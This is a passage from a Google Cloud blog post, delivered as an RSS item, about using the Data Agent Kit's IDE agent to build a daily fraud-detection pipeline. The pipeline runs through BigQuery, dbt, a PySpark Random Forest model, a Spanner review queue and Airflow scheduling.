&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The agent generates a Jupyter notebook that loads the JSON logs into a BigQuery table named &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;raw_transactions&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;. You can open the notebook, review the code, and run it using a preconfigured Spark Serverless runtime from the IDE.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/1_spark_runtime.gif"
        
          alt="1_spark_runtime"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nhsv8"&gt;Running a generated PySpark notebook&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;After the notebook runs, you can open the &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;raw_transactions&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; table with the Data Agent Kit. The extension allows you to browse the table and inspect its metadata right from the IDE.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/2_raw_table_ide.max-1000x1000.png"
        
          alt="2_raw_table_ide"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nhsv8"&gt;Inspecting a BigQuery table in the IDE&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The records are now in BigQuery, but they aren’t ready for model training yet. First, we’ll handle duplicate and incomplete records, then join the remaining records with info about who sent and received each payment.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Cleaning it up&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Let’s put the cleanup logic into a dbt project so we can run it on each new batch of data. We’ll also test that each transaction appears only once. Prompt the agent:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;Create a dbt project in dbt_project/ for the BigQuery dataset transactions.\r\n\r\nDeduplicate raw_transactions by transaction_id in staging. Separate records with null IDs into invalid_transactions. Join valid records with dim_payers and dim_payees to create enriched_transactions, preserving the is_fraud label. Add a transaction uniqueness test.&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6202c60d0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The agent generates a dbt project with SQL models for cleaning and enriching the data. Take a look at the generated code to check how it handles duplicates and joins reference tables. Then run &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;dbt build&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; in the terminal. This builds the staging and enriched tables in BigQuery, along with a separate table for records with missing transaction IDs. dbt also runs the uniqueness test.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/3_dbt_build.max-1000x1000.png"
        
          alt="3_dbt_build"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nhsv8"&gt;Validating dbt models in the integrated terminal&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We also keep the &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;is_fraud&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; column, which indicates whether a past transaction was fraudulent. We’ll train the model on records with known labels and use it to score new transactions, where we’re unsure yet whether fraud occurred.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Building the review queue&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;With the data prepared, let’s ask the agent to create a training notebook using a Random Forest classifier running on Spark Serverless. &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;Create a PySpark notebook to train a RandomForestClassifier\r\non table transactions.enriched_transactions.\r\n\r\nPredict is_fraud, training only on records where the label\r\nis not null. Encode categorical features, scale amounts,\r\nand evaluate the model using ROC AUC. Save the evaluated model to gs://models/fraud_model.&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6202c7510&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Review and run the notebook, then check its evaluation output to see how well the model separates fraudulent transactions from legitimate ones. You can also use the Data Agent Kit extension to verify that the trained model artifacts were saved to Google Cloud Storage.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/4_trained_model_gcs.max-1000x1000.png"
        
          alt="4_trained_model_gcs"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nhsv8"&gt;Verifying the trained model artifacts in Google Cloud Storage&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Now we can use the saved model to score transactions that don’t have an &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;is_fraud&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; value yet:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;Create a batch inference notebook that loads the saved model from gs://my_models/fraud_model and scores records in transactions.enriched_transactions where is_fraud is null.\r\n\r\nWrite transactions with a fraud probability score &amp;gt;= 0.50 to the Spanner table SparkEvalFraudReviewQueue, in the instance cymbal-fraud, database fraud-db.&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6202c45d0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In this example, the inference notebook scores the unlabeled transactions in BigQuery and sends those with an estimated fraud probability of 50% or higher to the &lt;/span&gt;&lt;a href="https://cloud.google.com/spanner?utm_campaign=CDR_0xaea1deef_default_b563520811&amp;amp;utm_medium=external&amp;amp;utm_source=blog"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Spanner&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; review queue. The flagged records help the team decide where to investigate, but they still need to determine whether fraud occurred.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Look at how the inference notebook filters and writes flagged records, then run it. Once it finishes, query the Spanner table in the IDE to inspect the results.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/5_spanner_results.max-1000x1000.png"
        
          alt="5_spanner_results"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nhsv8"&gt;Querying flagged transactions in the Spanner table&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;This table is the list we set out to build. The compliance team can now start reviewing transactions, and we have a workflow that gets records from raw logs into the queue.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;So far, we have been kicking off each step ourselves. We can now connect them so the workflow runs automatically each day.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Running it again tomorrow&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Each day we will load the latest logs, apply the dbt transformations, and score unlabeled transactions using the saved model. We’ll use the &lt;/span&gt;&lt;a href="https://cloud.google.com/products/managed-service-for-apache-airflow?utm_campaign=CDR_0xaea1deef_default_b563520811&amp;amp;utm_medium=external&amp;amp;utm_source=blog"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Managed Service for Apache Airflow&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to run these steps in order. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Ask the agent: &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;Create an orchestration pipeline named fraud_analysis_pipeline that runs ingestion, the dbt project, and batch inference in that order.\r\n\r\nSchedule it daily at midnight. Use Spark Serverless for the notebooks, including the Spanner connector for inference, and gs://YOUR_ARTIFACT_BUCKET for artifact storage.&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6202c5f90&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The agent generates a YAML pipeline definition and deployment configuration. The pipeline definition sets the schedule and dependencies between steps. Meanwhile, the deployment configuration specifies the Airflow environment where it will run.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Data Agent Kit then turns the definition into an Airflow DAG, which you can explore as an interactive graph in the IDE. Open the pipeline under “Orchestration Pipelines” and click a task to inspect it. For notebook tasks, you can follow the link straight back to the code.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/6_pipeline_config.gif"
        
          alt="6_pipeline_config"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nhsv8"&gt;Inspecting a data pipeline&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;With the Airflow environment configured, click “Run pipeline” in the canvas. Data Agent Kit packages the notebooks and dbt project, deploys the DAG, and triggers a run. Open the pipeline’s execution history to follow its progress. You can also select individual tasks to inspect their status, duration, and logs.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/7_airflow_logs.gif"
        
          alt="7_airflow_logs"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nhsv8"&gt;Kicking off an Airflow DAG and inspecting the logs&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Airflow will run the pipeline every day, taking new batches of data from raw logs to the review queue. The compliance team can now focus on flagged transactions, and you’ve automated the work of getting those records to them!&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Try it yourself&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;If you are ready to try this for yourself, we have &lt;/span&gt;&lt;a href="https://codelabs.developers.google.com/dak-data-science-antigravity-ide?hl=en#0" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;designed a codelab&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; that walks you through the full setup so you can build and run this workflow. You can also &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/data-agent-kit/overview?utm_campaign=CDR_0xaea1deef_default_b563520811&amp;amp;utm_medium=external&amp;amp;utm_source=blog"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;read our documentation&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; or check out the skills and tools in the open-source repository on &lt;/span&gt;&lt;a href="https://github.com/GoogleCloudPlatform/data-agent-kit-plugin" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;GitHub&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-related_article_tout"&gt;





&lt;div class="uni-related-article-tout h-c-page"&gt;
  &lt;section class="h-c-grid"&gt;
    &lt;a href="https://cloud.google.com/blog/products/data-analytics/agentic-analytics-with-the-data-agent-kit/"
       data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }'
       class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker"&gt;
      &lt;div class="uni-related-article-tout__inner-wrapper"&gt;
        &lt;p class="uni-related-article-tout__eyebrow h-c-eyebrow"&gt;Related Article&lt;/p&gt;

        &lt;div class="uni-related-article-tout__content-wrapper"&gt;
          &lt;div class="uni-related-article-tout__image-wrapper"&gt;
            &lt;div class="uni-related-article-tout__image" style="background-image: url('https://storage.googleapis.com/gweb-cloudblog-publish/images/0_hero_image_5no6K6G.max-500x500.png')"&gt;&lt;/div&gt;
          &lt;/div&gt;
          &lt;div class="uni-related-article-tout__content"&gt;
            &lt;h4 class="uni-related-article-tout__header h-has-bottom-margin"&gt;Agentic analytics with the Data Agent Kit&lt;/h4&gt;
            &lt;p class="uni-related-article-tout__body"&gt;Data Agent Kit is a set of MCP servers and agent skills that helps data developers run data workflows from their IDEs. It’s available bot...&lt;/p&gt;
            &lt;div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted"&gt;
              &lt;span class="nowrap"&gt;Read Article
                &lt;svg class="icon h-c-icon" role="presentation"&gt;
                  &lt;use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"&gt;&lt;/use&gt;
                &lt;/svg&gt;
              &lt;/span&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/a&gt;
  &lt;/section&gt;
&lt;/div&gt;

&lt;/div&gt;</description><pubDate>Mon, 12 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/data-analytics/bringing-you-the-data-agent-kit/</guid><category>Data Analytics</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/0_banner_image.max-600x600.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Agentic data science with the Data Agent Kit</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/0_banner_image.max-600x600.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/products/data-analytics/bringing-you-the-data-agent-kit/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Jeff Nelson</name><title>Developer Relations Engineer, Google</title><department></department><company></company></author></item></channel></rss>